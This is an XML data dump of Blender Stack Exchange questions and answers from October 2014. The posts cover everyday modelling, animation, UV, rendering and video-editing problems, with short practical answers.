  <row Id="18177" PostTypeId="1" AcceptedAnswerId="18188" CreationDate="2014-10-25T14:09:33.753" Score="8" ViewCount="3729" Body="&lt;p&gt;Hello Blender Stack Exchange,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to fill a face between 4 surfaces. Two are straight edges and two are a curved line made up of short vertices that came from a SketchUp export.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem: I select the vertices on the top and bottom and fill the hole. It creates a strange face that ruins the curve. I would prefer it create some sort of complex curve. I want it to be smooth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Images attached to better explain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XlZP5.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/0C0xs.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/qjHUV.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/zUU4O.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/53blJ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6351" LastActivityDate="2014-10-25T20:48:31.480" Title="How fill face between irregular curves?" Tags="&lt;modeling&gt;&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18178" PostTypeId="1" AcceptedAnswerId="18180" CreationDate="2014-10-25T14:37:37.630" Score="1" ViewCount="249" Body="&lt;p&gt;Let's say I have a character with four arms, all part of the same armature. Is there a way I can animate one arm, turn this into an NLA strip and use them on the other bones or do the other arms have to be separate armatures?&lt;/p&gt;&#xA;" OwnerUserId="7505" LastActivityDate="2014-10-25T15:51:16.567" Title="Using NLA strips on different bones belonging to the same armature" Tags="&lt;animation&gt;&lt;rigging&gt;&lt;armature&gt;&lt;nla-editor&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18179" PostTypeId="1" AcceptedAnswerId="18192" CreationDate="2014-10-25T15:18:04.493" Score="4" ViewCount="886" Body="&lt;p&gt;I want to add titles to a video (like the titles in the end of Sintel) using the blender video editor. I made a long Image using GIMP and I want to scroll it in the end of the video. Probably I need to set a dynamic offset, but I didn't find an option for this.&lt;/p&gt;&#xA;" OwnerUserId="7680" LastEditorUserId="7680" LastEditDate="2014-10-25T17:44:09.150" LastActivityDate="2014-10-25T20:04:36.300" Title="add titles using the VSE" Tags="&lt;animation&gt;&lt;video-sequence-editor&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18180" PostTypeId="2" ParentId="18178" CreationDate="2014-10-25T15:51:16.567" Score="1" Body="&lt;p&gt;You would need to create actions for all of the four arms. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reusing one action for different bones wouldn't work because the action holds the keyframed properties like rotation and location only for the bones selected while adding a keyframe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Zy4oo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you can try to copy &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;C&lt;/kbd&gt; and paste &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;V&lt;/kbd&gt; the selected property values (or f-curves) from one action to another, this requires that you insert an initial keyframe for the bone to animate.&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-10-25T15:51:16.567" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18181" PostTypeId="1" AcceptedAnswerId="18184" CreationDate="2014-10-25T17:01:21.197" Score="2" ViewCount="821" Body="&lt;p&gt;I need to scale the UVs of an object to exactly twice their current size. However, Blender does not seem to have a system put in place to get exact UV scaling. When you scale UVs, the scale operator is opened in the 3D view window, but editing this scales the object and returns the UVs to their original size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a script or operator I can use to achieve this?&lt;/p&gt;&#xA;" OwnerUserId="5710" LastActivityDate="2014-10-25T17:59:20.077" Title="Is it possible to scale only UVs to a specific value?" Tags="&lt;uv&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18182" PostTypeId="2" ParentId="18179" CreationDate="2014-10-25T17:26:27.413" Score="2" Body="&lt;p&gt;You can do it on the compositor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mix the video and the image for the titles. &#xA;For scrolling titles, add a translate node and animate its values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FduED.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you must absolutely use the VSE, add a transform srip:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kWuQX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To animate the values, go to frame where the motion begins, hover the mouse over the Y position for the effect strip and press &lt;kbd&gt;I&lt;/kbd&gt; to create a key frame. Go to the end of the effect, change the values and create a new keframe ( using &lt;kbd&gt;I&lt;/kbd&gt; again)&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2014-10-25T19:50:37.057" LastActivityDate="2014-10-25T19:50:37.057" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18183" PostTypeId="1" AcceptedAnswerId="18440" CreationDate="2014-10-25T17:33:02.290" Score="2" ViewCount="494" Body="&lt;p&gt;I was trying to create the illusion of a building being destroyed as soon as there is a collision using python. Everything seems to work fine when I use a cube, but it breaks as soon as I use the real building&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have attached a simple version of the problem which illustrates both the cube and the building. Whenever the &quot;player&quot; cube collides with the red cube, the addobject works perfectly. The same thing done with a building produces weird results. (Note they have the exact same settings and they both use the same python module)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone please help me resolve this mystery. I have been cracking my head for ever. Here's the blend file&#xA;(Use the arrow keys to move the player cube and collide it with different objects)&#xA;&lt;a href=&quot;https://www.dropbox.com/s/q3gajcxasv1c2dt/break_demo.blend?dl=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.dropbox.com/s/q3gajcxasv1c2dt/break_demo.blend?dl=0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ANSWER:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anybody is stuck with a similar problem, then look into scaling. Here's my final code to get it done without using any empty's and rescaling in fly&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def decimate(cont):&#xA;    self = cont.owner&#xA;    scene = self.scene&#xA;    self.scaling = [1,1,1]&#xA;    scene.addObject(placer_ID, self)&#xA;    self.endObject()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also if it seems that the object gets added, but at the wrong location. Then it is due to the fact that the origin is not set. Try to set the origin to center of geometry or center of mass (Ctrl + Shift + Alt + C). You have to set this by selecting the empty associated with the group. Look at this question for more details &lt;a href=&quot;https://blender.stackexchange.com/questions/18009/replace-objects-with-a-group-of-objects-using-python&quot;&gt;Replace objects with a group of objects using Python&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7591" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.533" LastActivityDate="2014-11-06T02:35:51.387" Title="Weird blender game engine python problem" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;objects&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18184" PostTypeId="2" ParentId="18181" CreationDate="2014-10-25T17:59:20.077" Score="4" Body="&lt;p&gt;In the image editor you can select your UVs and scale them just as you would do with vertices on the 3D viewport.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;S&lt;/kbd&gt;&lt;kbd&gt;2&lt;/kbd&gt; will scale the selected UVs by two&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;S&lt;/kbd&gt;&lt;kbd&gt;.5&lt;/kbd&gt; wil scale the UVs to one half.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;S&lt;/kbd&gt;&lt;kbd&gt;2&lt;/kbd&gt;&lt;kbd&gt;X&lt;/kbd&gt; will scale by two horizontally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XFO4h.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2014-10-25T17:59:20.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18185" PostTypeId="1" CreationDate="2014-10-25T18:08:34.307" Score="4" ViewCount="7404" Body="&lt;p&gt;I am working on creating a scene with animals..three in the scene.  I have them walking across the room...I first set it up with different poses every 5 frames... rendered the animation at 24fps... when playing the animation video, it appears they are running across the floor..   I set it up again with every 10 frames, changed the poses...(changing the position of their legs and/or head..)  rendered it at 15fps.. they still appear to hurry across the room... &#xA;    How can I make the animation look as if they are walking across the room a little slower.. little smoother flow...   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am learning this animation and modeling of animals...  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;thank you &#xA;Barbara &lt;/p&gt;&#xA;" OwnerUserId="7681" LastActivityDate="2014-10-25T22:01:25.673" Title="Rendering animation speed" Tags="&lt;animation&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18187" PostTypeId="2" ParentId="18185" CreationDate="2014-10-25T19:03:26.657" Score="4" Body="&lt;p&gt;To slow down an animation you can space the keyframes using the Dopesheet.&#xA;The further away the keyframes are (the longer number of frames in between keyframes), the slower your objects will move.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FWLAe.gif&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To move the keyframes, select them and press &lt;kbd&gt;G&lt;/kbd&gt; and drag them down the timeline.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/f0rJH.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2014-10-25T22:01:25.673" LastActivityDate="2014-10-25T22:01:25.673" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18188" PostTypeId="2" ParentId="18177" CreationDate="2014-10-25T19:19:08.130" Score="8" Body="&lt;p&gt;To deal with curves like that you need to use the &lt;strong&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Editing/Edges#Bridge_Edge_Loops&quot; rel=&quot;noreferrer&quot;&gt;Bridge Edge Loops&lt;/a&gt;&lt;/strong&gt; tool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use the fill tool (&lt;kbd&gt;F&lt;/kbd&gt;) blender creates a very ugly Ngon on connecting all of the vertices like this:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/FqScA.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using bridge edge loop tool will give you the proper curve:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/tMMnp.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2014-10-25T20:48:31.480" LastActivityDate="2014-10-25T20:48:31.480" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18190" PostTypeId="1" CreationDate="2014-10-25T19:51:02.180" Score="8" ViewCount="13949" Body="&lt;p&gt;I have a model of a dragon. It's mesh was made by mirroring and also was it's bones. I want to animate a wing, but want to make the other wing to animate equally, but mirrored. Is it possible?&lt;br&gt;&#xA;I'm new to blender, so I need a bit more detailed explanation.&lt;/p&gt;&#xA;" OwnerUserId="7652" LastEditorUserId="2217" LastEditDate="2014-10-25T20:24:20.667" LastActivityDate="2014-10-25T23:38:56.143" Title="Can I mirror animations on bones?" Tags="&lt;animation&gt;&lt;bones&gt;&lt;mirror&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18191" PostTypeId="2" ParentId="18190" CreationDate="2014-10-25T20:02:11.697" Score="9" Body="&lt;p&gt;Try copying the pose, then pasting x-mirrored= &lt;kbd&gt;shift&lt;/kbd&gt;+&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;V&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can copy the pose in the pose menu, right next to the mode changing button. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;See the one that says &lt;strong&gt;Pose&lt;/strong&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NuxWz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you copy a pose (&lt;em&gt;Copy Pose&lt;/em&gt;) you can either &lt;em&gt;paste pose&lt;/em&gt; or &lt;em&gt;paste x-flipped pose.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="6385" LastEditorUserId="6385" LastEditDate="2014-10-25T23:38:56.143" LastActivityDate="2014-10-25T23:38:56.143" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18192" PostTypeId="2" ParentId="18179" CreationDate="2014-10-25T20:04:36.300" Score="3" Body="&lt;p&gt;The problem was solved simply:&#xA;I went to the first frame, right-clicked on the offset, inserted a keyframe, then I went to the last keyframe, right-clicked on the offset and inserted a keyframe again.&lt;/p&gt;&#xA;" OwnerUserId="7680" LastActivityDate="2014-10-25T20:04:36.300" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18193" PostTypeId="1" CreationDate="2014-10-25T20:06:37.460" Score="2" ViewCount="258" Body="&lt;p&gt;I can't seem to get the &quot;unlink selection&quot; functionality in the UV editor to work inside Blender 2.72.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pressing &lt;kbd&gt;Alt&lt;/kbd&gt;-&lt;kbd&gt;L&lt;/kbd&gt; does nothing. I have tried with the &quot;keep selection in sync&quot; -button both on and off. According to the Blender 2.6 manual &lt;kbd&gt;Alt&lt;/kbd&gt;-&lt;kbd&gt;L&lt;/kbd&gt; should unlink the selected islands. Has this been changed in Blender 2.72?&lt;/p&gt;&#xA;" OwnerUserId="1037" LastEditorUserId="29" LastEditDate="2014-10-25T22:17:24.477" LastActivityDate="2014-10-25T22:17:24.477" Title="Unlink selection in the UV editor doesn't seem to work in 2.72" Tags="&lt;uv&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18194" PostTypeId="1" AcceptedAnswerId="18261" CreationDate="2014-10-25T20:08:31.173" Score="4" ViewCount="167" Body="&lt;p&gt;I have an issue with this file: &lt;a href=&quot;http://www.pasteall.org/blend/32354&quot; rel=&quot;nofollow&quot;&gt;http://www.pasteall.org/blend/32354&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like that fancy jet-pack action that he does to only activate when the foot control leaves the ground, and all the other actions to cease to exist while he is airborne, even if I'm not pressing spacebar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks for your help.&lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2014-10-27T18:36:24.320" Title="Game engine flight animations, controlled by contact with floor, not keys" Tags="&lt;animation&gt;&lt;game-engine&gt;&lt;rigid-body-simulation&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18195" PostTypeId="1" AcceptedAnswerId="18200" CreationDate="2014-10-25T20:21:52.090" Score="5" ViewCount="731" Body="&lt;p&gt;im new to Blender (&lt;strong&gt;Blender Internal&lt;/strong&gt;). Hope anyone can help, i'm hurry cuz of a deadline!.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With a &lt;strong&gt;plane&lt;/strong&gt; with a &lt;strong&gt;normal map&lt;/strong&gt; aplied to it and it's material set to &lt;strong&gt;Shadow Only&lt;/strong&gt; I'm triying to create an alpha bg video with particle with shadows projections over it (a dead body actually) to integrate later on AE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue: &lt;strong&gt;shadows are not bending&lt;/strong&gt; influenced by the normal map of the plane. (see red plane)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Solutions or performance improvements are very welcome!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/Byti5XI.png&quot; alt=&quot;Shadows not influenced by normal map yet&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7686" LastActivityDate="2014-10-26T00:09:13.607" Title="Shadows not influenced by normal map in BI" Tags="&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="18196" PostTypeId="1" CreationDate="2014-10-25T20:28:13.830" Score="1" ViewCount="38" Body="&lt;p&gt;In addition to a few video clips I have added a scene with a 3D model to my video sequence editor. Now the final render of the video does not appear to have rendered several settings that I have given the objects in that scene such as the materials for instance. Does anyone have an idea what might be causing this?&lt;/p&gt;&#xA;" OwnerUserId="7687" LastEditorDisplayName="user1853" LastEditDate="2014-10-25T20:50:52.863" LastActivityDate="2014-10-25T20:50:52.863" Title="VSE. Textures missing when combining video clips with 3D scene" Tags="&lt;rendering&gt;&lt;video-sequence-editor&gt;&lt;scene&gt;" AnswerCount="0" CommentCount="6" ClosedDate="2014-10-26T21:44:02.247" ContentLicense="CC BY-SA 3.0" />
  <row Id="18197" PostTypeId="2" ParentId="18174" CreationDate="2014-10-25T20:30:23.587" Score="2" Body="&lt;p&gt;Okay, I've found a solution. I can bake an animation by &lt;strong&gt;Pose-&gt;Animation-&gt;Bake Action&lt;/strong&gt; menu, and enabling Visual Keying sub-option. It creates a whole new Action though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone has a solution how can I do this for individual keyframes, please share it and I will accept that as an answer, I will wait for a few days.&lt;/p&gt;&#xA;" OwnerUserId="2531" LastActivityDate="2014-10-25T20:30:23.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18198" PostTypeId="1" AcceptedAnswerId="18199" CreationDate="2014-10-25T20:45:20.880" Score="2" ViewCount="918" Body="&lt;p&gt;I am having an issue with a rendered animation not showing all the parts of all the components. Some parts of some of the objects flicker in and out of existence. The animation video can be found here: &lt;a href=&quot;http://youtu.be/R0ohe7N5rmQ&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://youtu.be/R0ohe7N5rmQ&lt;/a&gt; I have made this with 2.71 and cycles. How do I stop the flickering issue? The blend file can be downloaded here: &lt;a href=&quot;http://www.pasteall.org/blend/32356&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/32356&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have made an animation of objects (carbon nanotubes) being ejected from a tube. I want to the tubes to land on the substrate through shadow mask, and stick there. Then I pull of the mask to reveal some rectangular collections of tubes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be much appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Removed second question: &quot;Also, if anyone has a good idea of how to speed up the animation, especially concerning the treatment of the particle object.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT 2: The expanded camera limits did not fix my problem, as I have now figured out. I have changed the animation around a bit with the new blend file here: &lt;a href=&quot;http://www.pasteall.org/blend/32448&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/32448&lt;/a&gt; For example, in frame 100, if I have the &quot;emission circle&quot; visible in the render, I can see only half of some of my other objects and some of the objects disappear completely. If I turn off the visibility of the &quot;emission circle&quot; I can see those objects again. I tried reducing the number of particles being emitted. I show here two screenshots with and without the particle emitting object visible. Doe anyone have a recommendation?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HBRPV.png&quot; alt=&quot;All objects visible when particle emitting system is not visible.&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/cKZOQ.png&quot; alt=&quot;Part of objects no longer visible when particle emitting system is visible.&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6435" LastEditorUserId="6435" LastEditDate="2014-10-29T23:47:07.907" LastActivityDate="2014-10-29T23:47:07.907" Title="Components of animation flicker and disappear/reappear" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;animation&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18199" PostTypeId="2" ParentId="18198" CreationDate="2014-10-25T21:06:34.420" Score="3" Body="&lt;p&gt;The objects appearing and disappearing is a problem with the clipping distance of the camera. Select the camera and make the clipping start distance much smaller.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VH9Bh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2014-10-25T21:06:34.420" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18200" PostTypeId="2" ParentId="18195" CreationDate="2014-10-25T21:43:24.337" Score="6" Body="&lt;p&gt;A normal map on a plane will fake the shading, but will not deform shadows projected on the plane.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5LfcQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially the shadows are those of the underlaying plane.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MH4u5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To create real displacement: add a displacement modifier using a texture.&#xA;(Note you might need to subdivide your object and create more vertices to displace.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/u9sCM.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/bO1sB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2014-10-26T00:09:13.607" LastActivityDate="2014-10-26T00:09:13.607" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18201" PostTypeId="2" ParentId="18185" CreationDate="2014-10-25T21:54:54.407" Score="8" Body="&lt;p&gt;In the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Animation/Editors/DopeSheet&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;Dopesheet&lt;/em&gt;&lt;/a&gt; you could select all &lt;kbd&gt;A&lt;/kbd&gt; and use scale &lt;kbd&gt;S&lt;/kbd&gt;, to move the scaled keyframes use grab &lt;kbd&gt;G&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qaeMZ.gif&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-10-25T21:54:54.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18202" PostTypeId="1" CreationDate="2014-10-25T22:04:41.180" Score="4" ViewCount="7355" Body="&lt;p&gt;I made this curve in SketchUp and imported it into Blender. I am trying to figure out how I might transform the rough top section into a smoother curve that Blender can handle better... or how I might do it from scratch following the path of the one now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not sure how I would make this from scratch in Blender but can do it in SketchUp so that's why I imported it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tx6Ja.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Mxepd.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6351" LastEditorUserId="1363" LastEditDate="2014-10-26T01:53:39.513" LastActivityDate="2014-10-28T04:09:05.093" Title="Rough vertex curve transform into even curve?" Tags="&lt;modeling&gt;&lt;mesh&gt;" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18203" PostTypeId="1" AcceptedAnswerId="18204" CreationDate="2014-10-25T22:16:34.350" Score="10" ViewCount="9322" Body="&lt;p&gt;I have a mesh with tons of ngons, non-manfold stuff, poles, and a decent amount of tris.&#xA;Should I just give up on the mesh, or can I somehow rescue it?&lt;/p&gt;&#xA;" OwnerUserId="5980" LastEditorUserId="1253" LastEditDate="2014-12-17T21:09:32.317" LastActivityDate="2018-11-15T23:58:03.297" Title="Is there a way to &quot;rescue&quot; mesh that has very bad topology?" Tags="&lt;modeling&gt;&lt;topology&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18204" PostTypeId="2" ParentId="18203" CreationDate="2014-10-25T22:32:28.263" Score="10" Body="&lt;p&gt;To deal with bad topology, but not having to start from scratch, It makes sense creating a new mesh and &lt;strong&gt;retopologizing&lt;/strong&gt;. That is: using some form of vertex/edge/face snapping and/or a shrinkwrap modifier, you trace and receate your old mesh using proper topology. This technique is also useful when sculpting at a high poly count and then re-creating the mesh with less polygons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It sounds daunting but in reality it is not a big deal at all. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are a few links that might help:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blog.digitaltutors.com/retopologize-nine-times-faster-shrink-wrap-modifier-blender/&quot; rel=&quot;nofollow&quot;&gt;http://blog.digitaltutors.com/retopologize-nine-times-faster-shrink-wrap-modifier-blender/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.blender.org/manual/modeling/meshes/editing/retopo.html&quot; rel=&quot;nofollow&quot;&gt;https://www.blender.org/manual/modeling/meshes/editing/retopo.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=eaqYqkjimD8&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=eaqYqkjimD8&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerDisplayName="user1853" LastEditorUserId="8262" LastEditDate="2015-11-22T21:54:12.153" LastActivityDate="2015-11-22T21:54:12.153" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18205" PostTypeId="2" ParentId="18203" CreationDate="2014-10-25T23:58:16.753" Score="5" Body="&lt;p&gt;There is also a modifier called the &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.62/Remesh_Modifier&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;remesh&lt;/em&gt; modifier&lt;/a&gt;, which does a sort of automatic retopology. I don't recommend it if you need clean, efficient topology, as it's often required to turn up the octree depth rather high, which can result in a dense mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it's quite useful when you need a quick way to e.g. get a boolean operation to work or make volume rendering happy.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-10-26T19:15:38.570" LastActivityDate="2014-10-26T19:15:38.570" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18206" PostTypeId="2" ParentId="18202" CreationDate="2014-10-26T01:47:02.053" Score="1" Body="&lt;p&gt;What follows is not really an answer on how to deal with the curves in particular, but in in this case it might be easier to take the bottom part of the model and reproduce it on the top using the extrude tool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select the top vertices&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xvGQr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and delete them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yjRxx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then select whatever's left (&lt;kbd&gt;A&lt;/kbd&gt;) and press &lt;kbd&gt;E&lt;/kbd&gt; and drag to extrude it on the Z axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VYKHT.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Top and bottom should match now...&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2014-10-26T15:09:38.440" LastActivityDate="2014-10-26T15:09:38.440" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
